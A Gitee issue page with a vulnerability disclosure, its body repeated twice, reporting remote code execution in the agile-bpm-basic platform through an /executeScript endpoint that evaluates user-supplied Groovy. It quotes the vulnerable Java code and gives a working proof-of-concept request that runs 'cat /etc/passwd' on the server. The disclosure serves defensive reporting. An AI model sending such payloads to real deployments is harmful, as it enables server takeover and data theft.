登录
注册
开源
企业版
高校版
搜索
帮助中心
使用条款
关于我们
开源
企业版
高校版
私有云
模力方舟
我知道了
查看详情
登录
注册
开源中国、Gitee、模力方舟招人啦~ 快来看看有没有适合你的岗位
代码拉取完成,页面将自动刷新
开源项目
>
程序开发
>
工作流
&&
捐赠
捐赠前请先登录
取消
前往登录
扫描微信二维码支付
取消
支付完成
支付提示
将跳转至支付宝完成支付
确定
取消
Watch
不关注
关注所有动态
仅关注版本发行动态
关注但不提醒动态
1.2K
Star
6.5K
Fork
1.1K
GVP
AgileBPM
/
agile-bpm-basic
代码
Issues
7
Pull Requests
0
Wiki
统计
流水线
服务
Gitee Pages
JavaDoc
质量分析
Jenkins for Gitee
腾讯云托管
腾讯云 Serverless
悬镜安全
阿里云 SAE
Codeblitz
SBOM
我知道了,不再自动展开
更新失败,请稍后重试!
移除标识
内容风险标识
本任务被
标识为内容中包含有代码安全 Bug 、隐私泄露等敏感信息,仓库外成员不可访问
There is a high-risk vulnerability of arbitrary code execution in the agile-bpm-basic system
待办的
#ICAPT5
AVulHunter
创建于
2025-05-27 09:40
# Vulnerability Description The open source low-code rapid development platform "[agile-bpm/agile-bpm-basic](https://gitee.com/agile-bpm/agile-bpm-basic)" has a code execution vulnerability that allows attackers to execute arbitrary Groovy scripts to gain full control of the victim's server. - Vulnerability Discloser: [Honor Cyber Security Lab](https://github.com/honorseclab) - Vendors: [www.tongzhouyun.com](https://www.tongzhouyun.com/) - Source code address:[agile-bpm/agile-bpm-basic](https://gitee.com/agile-bpm/agile-bpm-basic) Related reports online link: - [https://github.com/honorseclab/vulns/blob/main/AgileBPM_agile-bpm-basic/RCE.md](https://github.com/honorseclab/vulns/blob/main/AgileBPM_agile-bpm-basic/RCE.md); Note: - **This vulnerability was discovered automatically by my AI code audit tool**. - The vulnerability is in the latest version code submitted as of 20250526, but the author has not synchronized the release version. According to the public Readme information, it is roughly judged to belong to version v2.8. # Vulnerability Analysis The vulnerability code entry point is located at: - [https://gitee.com/agile-bpm/agile-bpm-basic/blob/master/ab-sys/ab-sys-core/src/main/java/com/dstz/sys/rest/controller/SysScriptController.java#L62](https://gitee.com/agile-bpm/agile-bpm-basic/blob/master/ab-sys/ab-sys-core/src/main/java/com/dstz/sys/rest/controller/SysScriptController.java#L62) The complete relevant code information of the vulnerability exploit chain is as follows: ```java // ab-sys\ab-sys-core\src\main\java\com\dstz\sys\rest\controller\SysScriptController.java:executeScript @RequestMapping(value = "executeScript", produces = MediaType.APPLICATION_JSON_VALUE) public ApiResponse<Object> executeScript(@RequestParam("key") String name, @RequestParam("script") String script) { checkIsDemoEnvironment(); Object retVal; try { // 执行结果 retVal = groovyScriptEngine.evaluate(script, new HashMap<>(0)); } catch (Exception e) { logger.warn("执行脚本出错, 脚本名称:{}, 脚本: {}", name, script, e); retVal = String.format("执行脚本出错, %s", e.getMessage()); } return ApiResponse.success(retVal); } // ab-component\ab-groovy-script-engine\src\main\java\com\dstz\groovy\script\engine\GroovyScriptEngine.java:evaluate @SuppressWarnings("unchecked") @Override public <T> T evaluate(String script, Map<String, Object> vars) { if (CharSequenceUtil.isBlank(script)) { return null; } script = stringEscape.replace(script).toString(); if (logger.isDebugEnabled()) { logger.debug("执行:{}", script); logger.debug("variables:{}", ObjectUtil.toString(vars)); } try { groovyBinding.setThreadVariables(vars); GroovyShell shell = groovyShellCache.get(DigestUtils.md5DigestAsHex(script.getBytes(StandardCharsets.UTF_8)), () -> new AbGroovyShell(groovyBinding)); T result = (T)shell.evaluate(script); if (logger.isDebugEnabled()) { logger.debug("result:{}", result); } return result; } catch (ExecutionException ex) { throw new GroovyEngineEvaluateException(ex.getMessage(), ex, script); }finally { groovyBinding.clearVariables(); } } // ab-base\ab-base-web\src\main\java\com\dstz\base\web\controller\AbCrudController.java protected void checkIsDemoEnvironment() { if("demoa5.tongzhouyun.com".equals(AbRequestUtils.getHttpServletRequest().getServerName())) { throw new BusinessException(GlobalApiCodes.REMOTE_CALL_ERROR.formatDefaultMessage("演示环境禁止当前操作,访问信息已经被统计!")); } } ``` As you can see, the external API ("/executeScript") receives the value of the externally controllable string variable "script" and passes it directly to the "groovy.lang.GroovyShell:evaluate" function for script execution without any verification. This constitutes a complete arbitrary code execution vulnerability, which can be used by attackers to gain control of the victim's server. In addition, although the author added the "checkIsDemoEnvironment" function to restrict API access, it only restricts the access of requests corresponding to the demonstration environment domain name, and any other user who deploys this open source project code will be threatened by this vulnerability. # Vulnerability Verification Please first build the project local environment according to the steps provided by the project source code author in the Readme file. The easiest way is to deploy the environment through containers, which only requires the following two commands: ```shell docker pull registry.cn-hangzhou.aliyuncs.com/agilebpm/agile-bpm-basic:latest docker run --name agile-bpm-basic -p 80:80 registry.cn-hangzhou.aliyuncs.com/agilebpm/agile-bpm-basic:latest ``` Then visit the login page through http://ip:80, log in with the default account and password, and obtain a valid "Authorization" request header. The vulnerability proof of concept (POC) is as follows: ```js GET /api/ab-bpm/sys/script/executeScript?key=hello&script=%22cat%20/etc/passwd%22.execute().text HTTP/1.1 Host: 192.168.190.132 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: application/json;charset=UTF-8 Authorization: Bearer XNJ_yTo3yvv9U5ah6R5TKgcAQYs Content-Length: 0 Origin: http://192.168.190.132 Connection: keep-alive Referer: http://192.168.190.132/sys/scripts/scriptList Priority: u=0 ``` After I deployed this project on my Ubuntu virtual machine, I successfully executed the "cat /etc/passwd" command by accessing the API and verified this vulnerability, as shown in the following picture.  # Security Suggestions Verify the legitimacy of the script to be executed to prevent arbitrary code execution from causing the server to be controlled by attackers.
# Vulnerability Description The open source low-code rapid development platform "[agile-bpm/agile-bpm-basic](https://gitee.com/agile-bpm/agile-bpm-basic)" has a code execution vulnerability that allows attackers to execute arbitrary Groovy scripts to gain full control of the victim's server. - Vulnerability Discloser: [Honor Cyber Security Lab](https://github.com/honorseclab) - Vendors: [www.tongzhouyun.com](https://www.tongzhouyun.com/) - Source code address:[agile-bpm/agile-bpm-basic](https://gitee.com/agile-bpm/agile-bpm-basic) Related reports online link: - [https://github.com/honorseclab/vulns/blob/main/AgileBPM_agile-bpm-basic/RCE.md](https://github.com/honorseclab/vulns/blob/main/AgileBPM_agile-bpm-basic/RCE.md); Note: - **This vulnerability was discovered automatically by my AI code audit tool**. - The vulnerability is in the latest version code submitted as of 20250526, but the author has not synchronized the release version. According to the public Readme information, it is roughly judged to belong to version v2.8. # Vulnerability Analysis The vulnerability code entry point is located at: - [https://gitee.com/agile-bpm/agile-bpm-basic/blob/master/ab-sys/ab-sys-core/src/main/java/com/dstz/sys/rest/controller/SysScriptController.java#L62](https://gitee.com/agile-bpm/agile-bpm-basic/blob/master/ab-sys/ab-sys-core/src/main/java/com/dstz/sys/rest/controller/SysScriptController.java#L62) The complete relevant code information of the vulnerability exploit chain is as follows: ```java // ab-sys\ab-sys-core\src\main\java\com\dstz\sys\rest\controller\SysScriptController.java:executeScript @RequestMapping(value = "executeScript", produces = MediaType.APPLICATION_JSON_VALUE) public ApiResponse<Object> executeScript(@RequestParam("key") String name, @RequestParam("script") String script) { checkIsDemoEnvironment(); Object retVal; try { // 执行结果 retVal = groovyScriptEngine.evaluate(script, new HashMap<>(0)); } catch (Exception e) { logger.warn("执行脚本出错, 脚本名称:{}, 脚本: {}", name, script, e); retVal = String.format("执行脚本出错, %s", e.getMessage()); } return ApiResponse.success(retVal); } // ab-component\ab-groovy-script-engine\src\main\java\com\dstz\groovy\script\engine\GroovyScriptEngine.java:evaluate @SuppressWarnings("unchecked") @Override public <T> T evaluate(String script, Map<String, Object> vars) { if (CharSequenceUtil.isBlank(script)) { return null; } script = stringEscape.replace(script).toString(); if (logger.isDebugEnabled()) { logger.debug("执行:{}", script); logger.debug("variables:{}", ObjectUtil.toString(vars)); } try { groovyBinding.setThreadVariables(vars); GroovyShell shell = groovyShellCache.get(DigestUtils.md5DigestAsHex(script.getBytes(StandardCharsets.UTF_8)), () -> new AbGroovyShell(groovyBinding)); T result = (T)shell.evaluate(script); if (logger.isDebugEnabled()) { logger.debug("result:{}", result); } return result; } catch (ExecutionException ex) { throw new GroovyEngineEvaluateException(ex.getMessage(), ex, script); }finally { groovyBinding.clearVariables(); } } // ab-base\ab-base-web\src\main\java\com\dstz\base\web\controller\AbCrudController.java protected void checkIsDemoEnvironment() { if("demoa5.tongzhouyun.com".equals(AbRequestUtils.getHttpServletRequest().getServerName())) { throw new BusinessException(GlobalApiCodes.REMOTE_CALL_ERROR.formatDefaultMessage("演示环境禁止当前操作,访问信息已经被统计!")); } } ``` As you can see, the external API ("/executeScript") receives the value of the externally controllable string variable "script" and passes it directly to the "groovy.lang.GroovyShell:evaluate" function for script execution without any verification. This constitutes a complete arbitrary code execution vulnerability, which can be used by attackers to gain control of the victim's server. In addition, although the author added the "checkIsDemoEnvironment" function to restrict API access, it only restricts the access of requests corresponding to the demonstration environment domain name, and any other user who deploys this open source project code will be threatened by this vulnerability. # Vulnerability Verification Please first build the project local environment according to the steps provided by the project source code author in the Readme file. The easiest way is to deploy the environment through containers, which only requires the following two commands: ```shell docker pull registry.cn-hangzhou.aliyuncs.com/agilebpm/agile-bpm-basic:latest docker run --name agile-bpm-basic -p 80:80 registry.cn-hangzhou.aliyuncs.com/agilebpm/agile-bpm-basic:latest ``` Then visit the login page through http://ip:80, log in with the default account and password, and obtain a valid "Authorization" request header. The vulnerability proof of concept (POC) is as follows: ```js GET /api/ab-bpm/sys/script/executeScript?key=hello&script=%22cat%20/etc/passwd%22.execute().text HTTP/1.1 Host: 192.168.190.132 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: application/json;charset=UTF-8 Authorization: Bearer XNJ_yTo3yvv9U5ah6R5TKgcAQYs Content-Length: 0 Origin: http://192.168.190.132 Connection: keep-alive Referer: http://192.168.190.132/sys/scripts/scriptList Priority: u=0 ``` After I deployed this project on my Ubuntu virtual machine, I successfully executed the "cat /etc/passwd" command by accessing the API and verified this vulnerability, as shown in the following picture.  # Security Suggestions Verify the legitimacy of the script to be executed to prevent arbitrary code execution from causing the server to be controlled by attackers.
评论 (
0
)
AVulHunter
创建了
任务
登录
后才可以发表评论
状态
待办的
待办的
进行中
已完成
已关闭
负责人
未设置
标签
未设置
标签管理
里程碑
未关联里程碑
未关联里程碑
Pull Requests
未关联
未关联
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
未关联
分支 (3)
标签 (3)
master
old
develop
v2.8.0
v2.5.1
v2.5.0
开始日期   -   截止日期
-
置顶选项
不置顶
置顶等级:高
置顶等级:中
置顶等级:低
优先级
不指定
严重
主要
次要
不重要
参与者(1)
Java
1
https://gitee.com/agile-bpm/agile-bpm-basic.git
git@gitee.com:agile-bpm/agile-bpm-basic.git
agile-bpm
agile-bpm-basic
agile-bpm-basic
点此查找更多帮助
搜索帮助
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
仓库举报
回到顶部
登录提示
该操作需登录 Gitee 帐号,请先登录后再操作。
立即登录
没有帐号,去注册